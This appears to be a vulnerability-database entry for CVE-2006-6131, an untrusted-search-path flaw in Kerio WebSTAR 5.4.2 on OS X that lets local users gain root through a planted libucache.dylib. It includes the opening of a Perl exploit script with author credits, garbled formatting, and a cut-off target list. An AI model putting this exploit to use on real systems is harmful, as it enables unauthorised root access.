CVE-2006-6131: Undefined Security Weakness

Untrusted search path vulnerability in 1 WSAdminServer and 2 WSWebServer in Kerio WebSTAR 4D WebSTAR Server Suite 5.4.2 and earlier allows local users with webstar privileges to gain root privileges via a malicious libucache.dylib helper library in the current working directory...

Kerio WebSTAR 5.4.2 (OSX) - 'libucache.dylib' Local Privilege Escalation

!/usr/bin/perl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom you must have access to the webstar user or be in the admin group This is currently not patched... chmod -s your kerio binaries foreach $key keys %ENV delete $ENV$key; $tgts"0" = "kerio-webstar-5.4.2-mac.bi...